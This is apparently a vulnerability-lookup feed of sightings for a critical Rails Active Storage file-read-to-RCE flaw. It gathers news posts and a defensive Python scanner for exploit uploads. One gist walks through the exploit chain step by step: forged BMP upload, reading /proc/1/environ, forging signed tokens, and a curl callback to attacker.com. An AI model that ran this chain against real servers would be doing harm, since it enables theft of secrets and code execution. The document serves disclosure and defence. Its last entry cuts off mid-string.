{"vulnerability": "cve-2026-66066", "sightings": [{"uuid": "45d0a297-db0e-463e-b815-bd5cb6127e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrth7bn2562g", "content": "A Rails Active Storage flaw, CVE-2026-66066 (CVSS 9.5), enables arbitrary file read and remote code execution. Patch Rails and rotate secrets now.\n\n#RubyOnRails #ActiveStorage #CVE202666066 #RCE #libvips #InfoSec", "creation_timestamp": "2026-07-30T03:01:41.239543Z"}, {"uuid": "6f379067-e1b5-4f9d-a3c9-e48c184f60c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mrtic5din42v", "content": "Rails Active Storage Turns Your Server Into A Self-Destructing Confessional\nPANIC 97% | Lag 0.0h | CVE-2026-66066 in Rails Active Storage is a critical flaw that can allow arbitrary file read and rem\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-07-30T03:21:10.732629Z"}, {"uuid": "443893d2-172d-4683-ad9b-f7f2590e5e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/koshian.bsky.social/post/3mrtipkrbmg2x", "content": "Active Storage \u3068\u3044\u3046\u304b libvips \u306e\u8106\u5f31\u6027\u306a\u306e\u304b\u306a?\n\n\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog", "creation_timestamp": "2026-07-30T03:28:41.250571Z"}, {"uuid": "0f95e496-c31e-43fc-a4dd-9cba51d1277c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/cskartikey/e1db6fa823980f7d870432de59e29462", "content": "#!/usr/bin/env python3\n\"\"\"Fast Cloudflare R2 scan for CVE-2026-66066 / GHSA-xr9x-r78c-5hrm uploads.\n\nExample: scan_r2_cve2026_66066.py --workers 100 --jsonl r2-hits.jsonl\nCredentials via environment:\n\n    export R2_ACCOUNT_ID=...\n    export R2_ACCESS_KEY_ID=...\n    export R2_SECRET_ACCESS_KEY=...\n    export R2_BUCKET=...\n\n    python3 -m pip install boto3\n    python3 scan_r2_cve2026_66066.py\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport sys\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom dataclasses import asdict, dataclass\n\ntry:\n    import boto3\n    from botocore.client import Config\n    from botocore.exceptions import ClientError\nexcept ModuleNotFoundError:\n    print(\"error: install boto3: python3 -m pip install boto3\", file=sys.stderr)\n    raise SystemExit(2)\n\n\nMATLAB_PREFIX = b\"MATLAB 5.0\"\nHDF5_SIGNATURE = b\"\\x89HDF\\r\\n\\x1a\\n\"\nHDF5_OFFSET = 512\nPOC_TRAILER_MAGIC = b\"RAILS_GHSA_OAST_PAYLOAD_V1\"\nBMP_MAGIC = b\"BM\"\nTHREAD_LOCAL = threading.local()\n\n\n@dataclass\nclass Hit:\n    key: str\n    size: int\n    etag: str\n    reasons: list[str]\n    head_hex: str\n    content_type: str = \"\"\n    tail_hex: str = \"\"\n\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=(\n            \"Parallel R2 byte-sample scan for MATLAB/HDF5 Active Storage \"\n            \"exploit uploads (CVE-2026-66066).\"\n        )\n    )\n    parser.add_argument(\n        \"--bucket\",\n        default=os.environ.get(\"R2_BUCKET\"),\n        help=\"R2 bucket name (or set R2_BUCKET)\",\n    )\n    parser.add_argument(\n        \"--prefix\",\n        default=os.environ.get(\"R2_PREFIX\", \"\"),\n        help=\"optional key prefix (Active Storage root prefix, if any)\",\n    )\n    parser.add_argument(\n        \"--endpoint\",\n        default=os.environ.get(\"R2_ENDPOINT\"),\n        help=\"R2 S3 API endpoint (default derived from R2_ACCOUNT_ID)\",\n    )\n    parser.add_argument(\n        \"--head-bytes\",\n        type=int,\n        default=768,\n        help=\"bytes to fetch from object start (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--tail-bytes\",\n        type=int,\n        default=1024,\n        help=\"bytes to fetch from object end only on head hits (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--min-size\",\n        type=int,\n        default=1024,\n        help=(\n            \"skip objects smaller than this (default: %(default)s; \"\n            \"lab artifact is ~2-4 KiB)\"\n        ),\n    )\n    parser.add_argument(\n        \"--max-size\",\n        type=int,\n        default=256 * 1024,\n        help=(\n            \"skip objects larger than this (default: 256KiB). Observed prod \"\n            \"MATLAB probes were ~74KiB declared as image/png.\"\n        ),\n    )\n    parser.add_argument(\n        \"--workers\",\n        type=int,\n        default=32,\n        help=\"parallel Range-GET workers (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--max-objects\",\n        type=int,\n        default=0,\n        help=\"stop after sampling N objects (0 = no limit)\",\n    )\n    parser.add_argument(\n        \"--jsonl\",\n        type=str,\n        default=\"\",\n        help=\"optional path to write hit records as JSONL\",\n    )\n    return parser.parse_args()\n\n\ndef require_env(name: str) -> str:\n    value = os.environ.get(name, \"\").strip()\n    if not value:\n        raise SystemExit(f\"error: set {name} in the environment\")\n    return value\n\n\ndef make_client(endpoint: str | None):\n    account_id = os.environ.get(\"R2_ACCOUNT_ID\", \"\").strip()\n    access_key = require_env(\"R2_ACCESS_KEY_ID\")\n    secret_key = require_env(\"R2_SECRET_ACCESS_KEY\")\n    if not endpoint:\n        if not account_id:\n            raise SystemExit(\n                \"error: set R2_ENDPOINT or R2_ACCOUNT_ID in the environment\"\n            )\n        endpoint = f\"https://{account_id}.r2.cloudflarestorage.com\"\n    return boto3.client(\n        \"s3\",\n        endpoint_url=endpoint,\n        aws_access_key_id=access_key,\n        aws_secret_access_key=secret_key,\n        region_name=os.environ.get(\"AWS_REGION\", \"auto\"),\n        config=Config(\n            signature_version=\"s3v4\",\n            max_pool_connections=64,\n            retries={\"max_attempts\": 3, \"mode\": \"standard\"},\n        ),\n    )\n\n\ndef client_for_thread(endpoint: str | None):\n    client = getattr(THREAD_LOCAL, \"client\", None)\n    if client is None:\n        client = make_client(endpoint)\n        THREAD_LOCAL.client = client\n    return client\n\n\ndef get_range(client, bucket: str, key: str, start: int, end: int) -> bytes:\n    response = client.get_object(\n        Bucket=bucket,\n        Key=key,\n        Range=f\"bytes={start}-{end}\",\n    )\n    return response[\"Body\"].read()\n\n\ndef analyze_head(key: str, size: int, etag: str, head: bytes) -> Hit | None:\n    reasons: list[str] = []\n\n    if head.startswith(MATLAB_PREFIX):\n        reasons.append(\"matlab_5_header\")\n    if len(head) >= HDF5_OFFSET + len(HDF5_SIGNATURE):\n        if head[HDF5_OFFSET : HDF5_OFFSET + len(HDF5_SIGNATURE)] == HDF5_SIGNATURE:\n            reasons.append(\"hdf5_sig_at_512\")\n    if POC_TRAILER_MAGIC in head:\n        reasons.append(\"poc_trailer_magic\")\n    for marker in (b\"MATLAB_class\", b\"/proc/\", b\"SECRET_KEY_BASE\"):\n        if marker in head:\n            reasons.append(f\"marker:{marker.decode('ascii', 'replace')}\")\n\n    # Declared BMP is checked only if we later learn content-type; for raw\n    # bytes, a non-BM object that still looks like MAT/HDF5 is enough.\n    if \"matlab_5_header\" in reasons and \"hdf5_sig_at_512\" in reasons:\n        reasons.append(\"mat_hdf5_hybrid_layout\")\n\n    if not reasons:\n        return None\n\n    return Hit(\n        key=key,\n        size=size,\n        etag=etag.strip('\"'),\n        reasons=sorted(set(reasons)),\n        head_hex=head[:64].hex(),\n    )\n\n\ndef enrich_tail(\n    client,\n    bucket: str,\n    hit: Hit,\n    size: int,\n    head: bytes,\n    tail_bytes: int,\n) -> Hit:\n    if tail_bytes <= 0:\n        return hit\n    if size <= len(head):\n        tail = head\n    else:\n        start = max(0, size - tail_bytes)\n        try:\n            tail = get_range(client, bucket, hit.key, start, size - 1)\n        except ClientError as error:\n            print(f\"warn: tail get failed key={hit.key}: {error}\", file=sys.stderr)\n            return hit\n\n    extra: list[str] = []\n    if POC_TRAILER_MAGIC in tail:\n        extra.append(\"poc_trailer_magic\")\n    for marker in (b\"MATLAB_class\", b\"/proc/\", b\"SECRET_KEY_BASE\", b\"rails_ghsa\"):\n        if marker in tail:\n            extra.append(f\"marker:{marker.decode('ascii', 'replace')}\")\n    if extra:\n        hit.reasons = sorted(set(hit.reasons) | set(extra))\n    hit.tail_hex = tail[-64:].hex()\n    return hit\n\n\ndef iter_candidates(client, bucket: str, prefix: str, min_size: int, max_size: int):\n    token = None\n    listed = 0\n    kept = 0\n    while True:\n        kwargs = {\"Bucket\": bucket, \"Prefix\": prefix, \"MaxKeys\": 1000}\n        if token:\n            kwargs[\"ContinuationToken\"] = token\n        page = client.list_objects_v2(**kwargs)\n        for item in page.get(\"Contents\", []):\n            listed += 1\n            size = int(item[\"Size\"])\n            if size < min_size or size > max_size:\n                continue\n            kept += 1\n            yield item\n        if not page.get(\"IsTruncated\"):\n            break\n        token = page.get(\"NextContinuationToken\")\n        print(\n            f\"list progress listed={listed} candidates={kept}\",\n            file=sys.stderr,\n            flush=True,\n        )\n    print(\n        f\"list done listed={listed} candidates={kept}\",\n        file=sys.stderr,\n        flush=True,\n    )\n\n\ndef sample_one(\n    endpoint: str | None,\n    bucket: str,\n    item: dict,\n    head_bytes: int,\n    tail_bytes: int,\n) -> Hit | None:\n    client = client_for_thread(endpoint)\n    key = item[\"Key\"]\n    size = int(item[\"Size\"])\n    etag = str(item.get(\"ETag\", \"\"))\n    head_end = min(size, head_bytes) - 1\n    try:\n        head = get_range(client, bucket, key, 0, head_end)\n    except ClientError as error:\n        print(f\"warn: range get failed key={key}: {error}\", file=sys.stderr)\n        return None\n\n    hit = analyze_head(key, size, etag, head)\n    if hit is None:\n        return None\n    return enrich_tail(client, bucket, hit, size, head, tail_bytes)\n\n\ndef main() -> int:\n    args = parse_args()\n    if not args.bucket:\n        raise SystemExit(\"error: pass --bucket or set R2_BUCKET\")\n    if args.head_bytes < 520:\n        raise SystemExit(\"error: --head-bytes must be >= 520 to catch HDF5@512\")\n    if args.workers < 1:\n        raise SystemExit(\"error: --workers must be >= 1\")\n    if args.min_size < 0 or args.max_size < args.min_size:\n        raise SystemExit(\"error: invalid size bounds\")\n\n    list_client = make_client(args.endpoint)\n    candidates = []\n    for item in iter_candidates(\n        list_client,\n        args.bucket,\n        args.prefix,\n        args.min_size,\n        args.max_size,\n    ):\n        candidates.append(item)\n        if args.max_objects and len(candidates) >= args.max_objects:\n            break\n\n    hits: list[Hit] = []\n    sampled = 0\n    lock = threading.Lock()\n    jsonl = open(args.jsonl, \"w\", encoding=\"utf-8\") if args.jsonl else None\n\n    try:\n        with ThreadPoolExecutor(max_workers=args.workers) as pool:\n            futures = [\n                pool.submit(\n                    sample_one,\n                    args.endpoint,\n                    args.bucket,\n                    item,\n                    args.head_bytes,\n                    args.tail_bytes,\n                )\n                for item in candidates\n            ]\n            for future in as_completed(futures):\n                sampled += 1\n                if sampled % 200 == 0 or sampled == len(candidates):\n                    print(\n                        f\"sample progress sampled={sampled}/{len(candidates)} \"\n                        f\"hits={len(hits)}\",\n                        file=sys.stderr,\n                        flush=True,\n                    )\n                hit = future.result()\n                if hit is None:\n                    continue\n                with lock:\n                    hits.append(hit)\n                    line = json.dumps(\n                        asdict(hit), separators=(\",\", \":\"), sort_keys=True\n                    )\n                    print(line, flush=True)\n                    if jsonl is not None:\n                        jsonl.write(line + \"\\n\")\n                        jsonl.flush()\n    finally:\n        if jsonl is not None:\n            jsonl.close()\n\n    print(\n        f\"summary candidates={len(candidates)} sampled={sampled} hits={len(hits)} \"\n        f\"bucket={args.bucket} prefix={args.prefix!r} \"\n        f\"size_window={args.min_size}-{args.max_size}\",\n        file=sys.stderr,\n    )\n    if not hits:\n        print(\n            \"no MATLAB/HDF5 hybrid uploads found in size window. \"\n            \"If Active Storage keeps blob metadata in Postgres, also query \"\n            \"active_storage_blobs for content_type like image/bmp and \"\n            \"byte_size between ~1KiB and ~64KiB.\",\n            file=sys.stderr,\n        )\n    return 1 if hits else 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n", "creation_timestamp": "2026-07-30T14:46:38.372236Z"}, {"uuid": "2bc5e5d7-673c-4c52-b382-0c804cfa4fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrtnite5jka3", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog https://blog.flatt.tech/entry/kindarails2shell_rails", "creation_timestamp": "2026-07-30T04:54:23.745259Z"}, {"uuid": "2087f190-fce7-4ec9-a721-e5ff214943f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/W0lu0X8rnBxhk3SmdmG-8xSd4a_Cg78RoyGoES2GQ8tFRdo", "content": "", "creation_timestamp": "2026-07-30T05:00:03.369386Z"}, {"uuid": "d5e24021-ba7e-4a40-ba03-19efb029c5b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mrumq252hb2m", "content": "KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)", "creation_timestamp": "2026-07-30T14:13:11.836899Z"}, {"uuid": "dba8c6c3-e55c-4afd-98d4-7b161762c209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nvnb.misskey.io.ap.brid.gy/post/3mru3flijfqf2", "content": "\u3010JPCERT\u3011\u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77 (\u516c\u958b)\nhttps://www.jpcert.or.jp/at/2026/at260021.html\n\nNVNB\u306f\u8106\u5f31\u6027\u60c5\u5831\u306e\u95b2\u89a7\u3092\u652f\u63f4\u3059\u308b\u30b5\u30fc\u30d3\u30b9\u3067\u3059\nhttps://nvnb.blossomsarchive.com/", "creation_timestamp": "2026-07-30T09:03:10.971241Z"}, {"uuid": "7191e975-b6ea-444f-b307-d0d33ff4e8f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mru43lflwx27", "content": "Critical Rails flaw CVE-2026-66066 lets unauthenticated attackers read server files via crafted image uploads in Active Storage with libvips, exposing secrets like keys and tokens. #Rails #ActiveStorage #libvips", "creation_timestamp": "2026-07-30T09:15:26.023318Z"}, {"uuid": "59a061cf-a29e-4dfe-b77d-422786c3598c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mrumts7dnf2o", "content": "\ud83d\udd17 CVE : CVE-2026-66066", "creation_timestamp": "2026-07-30T14:15:17.171650Z"}, {"uuid": "38a0606f-ed0b-41fc-8138-3f9bcca08bbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtld4zebi2j", "content": "Rails patched CVE-2026-66066, a critical Active Storage flaw that could let unauthenticated attackers read arbitrary files via crafted image uploads and expose keys, passwords, and API tokens. #RubyOnRails #ActiveStorage #libvips", "creation_timestamp": "2026-07-30T04:15:25.389342Z"}, {"uuid": "99c8a3a6-34ed-43e3-8f19-1938d693f0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://threatintel.cc/2026/07/30/critical-rails-flaw-lets-unauthenticated.html", "content": "cybersecuritynews.com/critical-…\n\nRuby on Rails released emergency patches for CVE-2026-66066 (also called KindaRails2Shell), a critical vulnerability in Active Storage\u2019s default libvips image-variant processing. An unauthenticated attacker who can upload images can craft a file that causes the server to read arbitrary files, including process environment variables that typically contain secret_key_base, database credentials, and cloud/API keys.\n\nSuccessful file disclosure can escalate to remote code execution or lateral movement. The flaw affects applications using the default vips processor that accept untrusted image uploads. Fixed versions are Rails 7.2.3.2, 8.0.5.1 and 8.1.3.1; libvips must also be at least 8.13. Operators are urged to patch immediately and rotate secrets.", "creation_timestamp": "2026-07-30T13:00:39.622813Z"}, {"uuid": "d157c37d-97b4-48dd-a0c5-e8ab2a50bee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mrufpz7azk27", "content": "Tracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials, and API tokens. thehackernews.com/2026/07/crit...", "creation_timestamp": "2026-07-30T12:07:55.037035Z"}, {"uuid": "4b323c6d-af00-4317-b2f6-01cc836110de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mru5htp5zu2m", "content": "\uff1e \u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77  (\u516c\u958b)\nhttps://www.jpcert.or.jp/at/2026/at260021.html\n", "creation_timestamp": "2026-07-30T09:40:10.314101Z"}, {"uuid": "750ecd48-84c8-47db-aa13-6d6c8c4934e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/win3zz/ae02cb1c3be0b79f69b609f559e1f179", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-30T11:01:15.227122Z"}, {"uuid": "0f4d0bc4-3b38-4f12-ae9e-09d245f65880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/matarillo.com/post/3mrt7u3sxhy25", "content": "CVE-2026-66066 \u3068\u306e\u3053\u3068\u3060\u3063\u305f\u306e\u3067\u4e00\u5fdc\u3053\u306e\u30de\u30b9\u30c8\u30c9\u30f3\u30b5\u30fc\u30d0\u30fc\u3082rails\u3092\u624b\u3067\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u3066\u304a\u3044\u305f", "creation_timestamp": "2026-07-30T00:50:09.096059Z"}, {"uuid": "c72f3473-fec7-429f-a6d0-51f23c0136ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/kdm.ac/post/3mrtmphxcjk2h", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306e Rails \u8106\u5f31\u6027\u300cKindaRails2Shell\u300d(CVE-2026-66066) \u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd\nblog.flatt.tech/entry/kindar...", "creation_timestamp": "2026-07-30T04:40:15.078263Z"}, {"uuid": "f31a2a57-008c-4555-87e9-2f82e4afdd8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/SJmbQDTJOoLR6WUPV-7UADrc7Vs17MVSUxypkFUaK9ZbHGI", "content": "", "creation_timestamp": "2026-07-30T01:00:02.978460Z"}, {"uuid": "337f37af-ebaa-48fb-9ce5-eb2d0d6963c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/Yj7Aq_xyYiyFjEC7_fWRp1WW6CPSPv-8fFQ8YzgEKFCsJSk", "content": "", "creation_timestamp": "2026-07-30T01:00:03.019865Z"}, {"uuid": "55aedf45-a9ad-4354-9e93-1b762a0885c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "content": "Ruby on Rails has released fixes for a critical Active Storage vulnerability that could let unauthenticated attackers read arbitrary files from application servers through crafted image uploads.\n\nTracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials,", "creation_timestamp": "2026-07-30T01:00:47.286037Z"}, {"uuid": "c6378235-d8ba-4b52-bba3-e3feffb0af92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/8sG8-znVA24HEgCSSOgSFdLJSscjGG_d1L2w-JFGPL2oE2E", "content": "", "creation_timestamp": "2026-07-30T01:00:03.151419Z"}, {"uuid": "ff7a9298-7458-4bcc-98b4-6f409f38e1aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mru6nxlohn2l", "content": "\u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\n\nRuby on Rails\u306eActive 